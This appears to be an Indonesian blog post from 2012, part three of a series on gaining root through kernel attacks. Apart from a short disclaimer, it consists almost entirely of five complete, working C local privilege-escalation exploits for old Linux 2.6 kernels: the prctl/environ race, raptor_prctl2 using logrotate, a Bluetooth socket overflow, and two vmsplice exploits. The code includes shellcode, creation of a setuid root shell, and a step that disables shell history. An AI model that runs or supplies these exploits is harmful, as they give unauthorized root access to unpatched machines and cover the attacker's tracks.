Tampilkan postingan dengan label privilege escalation. Tampilkan semua postingan
Tampilkan postingan dengan label privilege escalation. Tampilkan semua postingan

Jumat, 13 Januari 2012

Rooting VIA Kernel Attack PART3

Ini adalah lanjutan dari Rooting VIA Kernel Attack PART2

Sebelumnya telah dibahas script untuk melakukan rooting dengan kernel versi:

  1. Linux Kernel <= 2.6.11
  2. Linux Kernel 2.6.13 <= 2.6.17.4 [Versi 1]
  3. Linux Kernel 2.6.13 <= 2.6.17.4 [Versi 2]
  4. Linux Kernel 2.6.13 <= 2.6.17.4 [Versi 3]
  5. Linux Kernel 2.6.13 <= 2.6.17.4 [Versi 4]
Kali ini saya akan memberikan script untuk melakukan rooting dengan kernel yang berbeda dari pembahasan sebelumnya.

Peringatan:
Informasi ini bertujuan untuk pembelajaran, penggunaan informasi ini untuk tujuan yang merugikan, adalah tanggung jawab pembaca.

1. Linux Kernel <= 2.6.17.4

Code:
#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <fcntl.h>#include <errno.h>#include <sched.h>#include <sys/types.h>#include <sys/stat.h>#include <sys/prctl.h>#include <sys/mman.h>#include <sys/wait.h>#include <linux/a.out.h>#include <asm/unistd.h>

static struct exec ex;static char *e[256];static char *a[4];static char b[512];static char t[256];static volatile int *c;

/* h00lyshit shell code */__asm__ (" __excode: call 1f \n" " 1: mov $23, %eax \n" " xor %ebx, %ebx \n" " int $0x80 \n" " pop %eax \n" " mov $cmd-1b, %ebx \n" " add %eax, %ebx \n" " mov $arg-1b, %ecx \n" " add %eax, %ecx \n" " mov %ebx, (%ecx) \n" " mov %ecx, %edx \n" " add $4, %edx \n" " mov $11, %eax \n" " int $0x80 \n" " mov $1, %eax \n" " int $0x80 \n" " arg: .quad 0x00, 0x00 \n" " cmd: .string \"/bin/sh\" \n" " __excode_e: nop \n" " .global __excode \n" " .global __excode_e \n" );


extern void (*__excode) (void);extern void (*__excode_e) (void);

voiderror (char *err){  perror (err);  fflush (stderr);  exit (1);}

/* exploit this shit */voidexploit (char *file){  int i, fd;  void *p;  struct stat st;
  printf ("\ntrying to exploit %s\n\n", file);  fflush (stdout);  chmod ("/proc/self/environ", 04755);  c = mmap (0, 4096, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, 0, 0);  memset ((void *) c, 0, 4096);
  /*      slow down machine       */  fd = open (file, O_RDONLY);  fstat (fd, &st);  p =    (void *) mmap (0, st.st_size, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0);  if (p == MAP_FAILED)    error ("mmap");  prctl (PR_SET_DUMPABLE, 0, 0, 0, 0);  sprintf (t, "/proc/%d/environ", getpid ());  sched_yield ();  execve (NULL, a, e);  madvise (0, 0, MADV_WILLNEED);  i = fork ();
  /*      give it a try           */  if (i)    {          (*c)++;      !madvise (p, st.st_size, MADV_WILLNEED) ? : error ("madvise");      prctl (PR_SET_DUMPABLE, 1, 0, 0, 0);      sched_yield ();     }  else    {    nice(10);    while (!(*c)); sched_yield ();      execve (t, a, e);      error ("failed");    }
  waitpid (i, NULL, 0);  exit (0);}

intmain (int ac, char **av){  int i, j, k, s;  char *p;
  memset (e, 0, sizeof (e));  memset (a, 0, sizeof (a));  a[0] = strdup (av[0]);  a[1] = strdup (av[0]);  a[2] = strdup (av[1]);
  if (ac < 2)    error ("usage: binary <big file name>");  if (ac > 2)    exploit (av[2]);  printf ("\npreparing");  fflush (stdout);
  /*      make setuid a.out       */  memset (&ex, 0, sizeof (ex));  N_SET_MAGIC (ex, NMAGIC);  N_SET_MACHTYPE (ex, M_386);  s = ((unsigned) &__excode_e) - (unsigned) &__excode;  ex.a_text = s;  ex.a_syms = -(s + sizeof (ex));
  memset (b, 0, sizeof (b));  memcpy (b, &ex, sizeof (ex));  memcpy (b + sizeof (ex), &__excode, s);
  /*      make environment        */  p = b;  s += sizeof (ex);  j = 0;  for (i = k = 0; i < s; i++)    {      if (!p[i]) {  e[j++] = &p[k];  k = i + 1; }    }
  /*      reexec                  */  getcwd (t, sizeof (t));  strcat (t, "/");  strcat (t, av[0]);  execve (t, a, e);  error ("execve");  return 0;}


2. Linux Kernel 2.6.13 <= 2.6.17.4

Code:
#include <stdio.h>#include <unistd.h>#include <stdlib.h>#include <signal.h>#include <sys/stat.h>#include <sys/resource.h>#include <sys/prctl.h>
#define INFO1 "raptor_prctl2.c - Linux 2.6.x suid_dumpable2 (logrotate)"#define INFO2 "Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>"
char payload[] = /* commands to be executed by privileged logrotate */"\n/var/log/core {\n    daily\n    size=0\n    firstaction\n        chown root /tmp/pwned; chmod 4755 /tmp/pwned; rm -f /etc/logrotate.d/core; rm -f /var/log/core*\n    endscript\n}\n";
char pwnage[] = /* build setuid() helper to circumvent bash checks */"echo \"main(){setuid(0);setgid(0);system(\\\"/bin/sh\\\");}\" > /tmp/pwned.c; gcc /tmp/pwned.c -o /tmp/pwned &>/dev/null; rm -f /tmp/pwned.c";
int main(void){ int pid; struct rlimit corelimit; struct stat st;
/* print exploit information */ fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
/* prepare the setuid() helper */ system(pwnage);
/* set core size to unlimited */ corelimit.rlim_cur = RLIM_INFINITY; corelimit.rlim_max = RLIM_INFINITY; setrlimit(RLIMIT_CORE, &corelimit);
/* let's create a fake logfile in /var/log */ if (!(pid = fork())) { chdir("/var/log"); prctl(PR_SET_DUMPABLE, 2); sleep(666); exit(1); } kill(pid, SIGSEGV);
/* let's do the PR_SET_DUMPABLE magic */ if (!(pid = fork())) { chdir("/etc/logrotate.d"); prctl(PR_SET_DUMPABLE, 2); sleep(666); exit(1); } kill(pid, SIGSEGV);
/* did it work? */ sleep(3); if ((stat("/var/log/core", &st) < 0) ||     (stat("/etc/logrotate.d/core", &st) < 0)) { fprintf(stderr, "Error: Not vulnerable? See comments.\n"); exit(1); }
/* total pwnage */ fprintf(stderr, "Please wait until logrotate is run and check /tmp/pwned;)\n"); exit(0);}


3. Linux Kernel < 2.6.11.5 BLUETOOTH

Code:
#include <stdio.h>#include <stdlib.h>#include <sys/socket.h>#include <arpa/inet.h>#include <sys/types.h>#include <unistd.h>#include <limits.h>#include <signal.h>#include <sys/wait.h>
#define KERNEL_SPACE_MEMORY_BRUTE_START 0xc0000000#define KERNEL_SPACE_MEMORY_BRUTE_END   0xffffffff#define KERNEL_SPACE_BUFFER 0x100000

char asmcode[] = /*Global shellcode*/
"\xb8\x00\xf0\xff\xff\x31\xc9\x21\xe0\x8b\x10\x89\x8a""\x80\x01\x00\x00\x31\xc9\x89\x8a\x7c\x01\x00\x00\x8b""\x00\x31\xc9\x31\xd2\x89\x88\x90\x01\x00\x00\x89\x90""\x8c\x01\x00\x00\xb8\xff\xff\xff\xff\xc3";


struct net_proto_family { int family; int (*create) (int *sock, int protocol); short authentication; short encryption; short encrypt_net; int   *owner; };

int check_zombie_child(int status,pid_t pid){ waitpid(pid,&status,0); if(WIFEXITED(status))  {  if(WEXITSTATUS(status) != 0xFF)   exit(-1);    }  else if (WIFSIGNALED(status))    {     printf("KERNEL Oops. Exit Code = %d.(%s)\n",WTERMSIG(status),strsignal(WTERMSIG(status)));     return(WTERMSIG(status));    }}

int brute_socket_create (int negative_proto_number){ socket(AF_BLUETOOTH,SOCK_RAW, negative_proto_number); /* overflowing proto number with negative 32bit value */ int i; i = geteuid(); printf("Checking the Effective user id after overflow : UID = %d\n",i);if(i)exit(EXIT_FAILURE); printf("0wnage D0ne bro.\n"); execl("/bin/sh","sh",NULL); exit(EXIT_SUCCESS);}

int main(void){
pid_t pid;int counter;int status;int *kernel_return;
char kernel_buffer[KERNEL_SPACE_BUFFER];unsigned int brute_start;unsigned int where_kernel;
struct net_proto_family *bluetooth;
bluetooth = (struct net_proto_family *) malloc(sizeof(struct net_proto_family));bzero(bluetooth,sizeof(struct net_proto_family));
bluetooth->family = AF_BLUETOOTH;bluetooth->authentication = 0x0;  /* No Authentication */bluetooth->encryption     = 0x0; /* No Encryption */bluetooth->encrypt_net    = 0x0;  /* No Encrypt_net */bluetooth->owner          = 0x0;  /* No fucking owner   */bluetooth->create         = (int *) asmcode;


kernel_return = (int *) kernel_buffer;
for( counter = 0; counter < KERNEL_SPACE_BUFFER; counter+=4, kernel_return++)   *kernel_return = (int)bluetooth;
brute_start =  KERNEL_SPACE_MEMORY_BRUTE_START;printf("Bluetooth stack local root exploit\n");printf("http://backdoored/net");
while ( brute_start < KERNEL_SPACE_MEMORY_BRUTE_END ) {   where_kernel = (brute_start - (unsigned int)&kernel_buffer) / 0x4 ;   where_kernel = -where_kernel;
   pid = fork();   if(pid == 0 )   brute_socket_create(where_kernel);   check_zombie_child(status,pid);   brute_start += KERNEL_SPACE_BUFFER;   fflush(stdout);}return 0;}


4. Linux Kernel 2.6.17 - 2.6.24.1

Code:
#define _GNU_SOURCE#include <stdio.h>#include <errno.h>#include <stdlib.h>#include <string.h>#include <malloc.h>#include <limits.h>#include <signal.h>#include <unistd.h>#include <sys/uio.h>#include <sys/mman.h>#include <asm/page.h>#define __KERNEL__#include <asm/unistd.h>
#define PIPE_BUFFERS 16#define PG_compound 14#define uint unsigned int#define static_inline static inline __attribute__((always_inline))#define STACK(x) (x + sizeof(x) - 40)
struct page { unsigned long flags; int count; int mapcount; unsigned long private; void *mapping; unsigned long index; struct { long next, prev; } lru;};
void exit_code();char exit_stack[1024 * 1024];
void die(char *msg, int err){ printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err)); fflush(stdout); fflush(stderr); exit(1);}
#if defined (__i386__)
#ifndef __NR_vmsplice#define __NR_vmsplice 316#endif
#define USER_CS 0x73#define USER_SS 0x7b#define USER_FL 0x246
static_inlinevoid exit_kernel(){ __asm__ __volatile__ ( "movl %0, 0x10(%%esp) ;" "movl %1, 0x0c(%%esp) ;" "movl %2, 0x08(%%esp) ;" "movl %3, 0x04(%%esp) ;" "movl %4, 0x00(%%esp) ;" "iret" : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),    "i" (USER_CS), "r" (exit_code) );}
static_inlinevoid * get_current(){ unsigned long curr; __asm__ __volatile__ ( "movl %%esp, %%eax ;" "andl %1, %%eax ;" "movl (%%eax), %0" : "=r" (curr) : "i" (~8191) ); return (void *) curr;}
#elif defined (__x86_64__)
#ifndef __NR_vmsplice#define __NR_vmsplice 278#endif
#define USER_CS 0x23#define USER_SS 0x2b#define USER_FL 0x246
static_inlinevoid exit_kernel(){ __asm__ __volatile__ ( "swapgs ;" "movq %0, 0x20(%%rsp) ;" "movq %1, 0x18(%%rsp) ;" "movq %2, 0x10(%%rsp) ;" "movq %3, 0x08(%%rsp) ;" "movq %4, 0x00(%%rsp) ;" "iretq" : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),    "i" (USER_CS), "r" (exit_code) );}
static_inlinevoid * get_current(){ unsigned long curr; __asm__ __volatile__ ( "movq %%gs:(0), %0" : "=r" (curr) ); return (void *) curr;}
#else#error "unsupported arch"#endif
#if defined (_syscall4)#define __NR__vmsplice __NR_vmsplice_syscall4( long, _vmsplice, int, fd, struct iovec *, iov, unsigned long, nr_segs, unsigned int, flags)
#else#define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl))#endif
static uint uid, gid;
void kernel_code(){ int i; uint *p = get_current();
for (i = 0; i < 1024-13; i++) { if (p[0] == uid && p[1] == uid &&    p[2] == uid && p[3] == uid &&    p[4] == gid && p[5] == gid &&    p[6] == gid && p[7] == gid) { p[0] = p[1] = p[2] = p[3] = 0; p[4] = p[5] = p[6] = p[7] = 0; p = (uint *) ((char *)(p + 8) + sizeof(void *)); p[0] = p[1] = p[2] = ~0; break; } p++; }
exit_kernel();}
void exit_code(){ if (getuid() != 0) die("wtf", 0);
printf("[+] root\n"); putenv("HISTFILE=/dev/null"); execl("/bin/bash", "bash", "-i", NULL); die("/bin/bash", errno);}
int main(int argc, char *argv[]){ int pi[2]; size_t map_size; char * map_addr; struct iovec iov; struct page * pages[5];
uid = getuid(); gid = getgid(); setresuid(uid, uid, uid); setresgid(gid, gid, gid);
printf("-----------------------------------\n"); printf(" Linux vmsplice Local Root Exploit\n"); printf(" By qaaz\n"); printf("-----------------------------------\n");
if (!uid || !gid) die("!@#$", 0);
/*****/ pages[0] = *(void **) &(int[2]){0,PAGE_SIZE}; pages[1] = pages[0] + 1;
map_size = PAGE_SIZE; map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,                MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (map_addr == MAP_FAILED) die("mmap", errno);
memset(map_addr, 0, map_size); printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size); printf("[+] page: 0x%lx\n", pages[0]); printf("[+] page: 0x%lx\n", pages[1]);
pages[0]->flags    = 1 << PG_compound; pages[0]->private  = (unsigned long) pages[0]; pages[0]->count    = 1; pages[1]->lru.next = (long) kernel_code;
/*****/ pages[2] = *(void **) pages[0]; pages[3] = pages[2] + 1;
map_size = PAGE_SIZE; map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,                MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (map_addr == MAP_FAILED) die("mmap", errno);
memset(map_addr, 0, map_size); printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size); printf("[+] page: 0x%lx\n", pages[2]); printf("[+] page: 0x%lx\n", pages[3]);
pages[2]->flags    = 1 << PG_compound; pages[2]->private  = (unsigned long) pages[2]; pages[2]->count    = 1; pages[3]->lru.next = (long) kernel_code;
/*****/ pages[4] = *(void **) &(int[2]){PAGE_SIZE,0}; map_size = PAGE_SIZE; map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,                MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (map_addr == MAP_FAILED) die("mmap", errno); memset(map_addr, 0, map_size); printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size); printf("[+] page: 0x%lx\n", pages[4]);
/*****/ map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE; map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,                MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (map_addr == MAP_FAILED) die("mmap", errno);
memset(map_addr, 0, map_size); printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
/*****/ map_size -= 2 * PAGE_SIZE; if (munmap(map_addr + map_size, PAGE_SIZE) < 0) die("munmap", errno);
/*****/ if (pipe(pi) < 0) die("pipe", errno); close(pi[0]);
iov.iov_base = map_addr; iov.iov_len  = ULONG_MAX;
signal(SIGPIPE, exit_code); _vmsplice(pi[1], &iov, 1, 0); die("vmsplice", errno); return 0;}


5. Linux Kernel 2.6.23 - 2.6.24

Code:
#define _GNU_SOURCE#include <stdio.h>#include <errno.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <sys/uio.h>
#define TARGET_PATTERN " sys_vm86old"#define TARGET_SYSCALL 113
#ifndef __NR_vmsplice#define __NR_vmsplice 316#endif
#define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl))#define gimmeroot() syscall(TARGET_SYSCALL, 31337, kernel_code, 1, 2, 3, 4)
#define TRAMP_CODE (void *) trampoline #define TRAMP_SIZE ( sizeof(trampoline) - 1 )
unsigned char trampoline[] ="\x8b\x5c\x24\x04" /* mov    0x4(%esp),%ebx */"\x8b\x4c\x24\x08" /* mov    0x8(%esp),%ecx */"\x81\xfb\x69\x7a\x00\x00" /* cmp    $31337,%ebx */"\x75\x02" /* jne    +2 */"\xff\xd1" /* call   *%ecx */"\xb8\xea\xff\xff\xff" /* mov    $-EINVAL,%eax */"\xc3" /* ret */;
void die(char *msg, int err){ printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err)); fflush(stdout); fflush(stderr); exit(1);}
long get_target(){ FILE *f; long addr = 0; char line[128];
f = fopen("/proc/kallsyms", "r"); if (!f) die("/proc/kallsyms", errno);
while (fgets(line, sizeof(line), f)) { if (strstr(line, TARGET_PATTERN)) { addr = strtoul(line, NULL, 16); break; } }
fclose(f); return addr;}
static inline __attribute__((always_inline))void * get_current(){ unsigned long curr; __asm__ __volatile__ ( "movl %%esp, %%eax ;" "andl %1, %%eax ;" "movl (%%eax), %0" : "=r" (curr) : "i" (~8191) ); return (void *) curr;}
static uint uid, gid;
void kernel_code(){ int i; uint *p = get_current();
for (i = 0; i < 1024-13; i++) { if (p[0] == uid && p[1] == uid &&    p[2] == uid && p[3] == uid &&    p[4] == gid && p[5] == gid &&    p[6] == gid && p[7] == gid) { p[0] = p[1] = p[2] = p[3] = 0; p[4] = p[5] = p[6] = p[7] = 0; p = (uint *) ((char *)(p + 8) + sizeof(void *)); p[0] = p[1] = p[2] = ~0; break; } p++; } }
int main(int argc, char *argv[]){ int pi[2]; long addr; struct iovec iov;
uid = getuid(); gid = getgid(); setresuid(uid, uid, uid); setresgid(gid, gid, gid);
printf("-----------------------------------\n"); printf(" Linux vmsplice Local Root Exploit\n"); printf(" By qaaz\n"); printf("-----------------------------------\n");
if (!uid || !gid) die("!@#$", 0);
addr = get_target(); printf("[+] addr: 0x%lx\n", addr);
if (pipe(pi) < 0) die("pipe", errno);
iov.iov_base = (void *) addr; iov.iov_len  = TRAMP_SIZE;
write(pi[1], TRAMP_CODE, TRAMP_SIZE); _vmsplice(pi[0], &iov, 1, 0);
gimmeroot();
if (getuid() != 0) die("wtf", 0);
printf("[+] root\n"); putenv("HISTFILE=/dev/null"); execl("/bin/bash", "bash", "-i", NULL); die("/bin/bash", errno); return 0;}


created by : red-dragon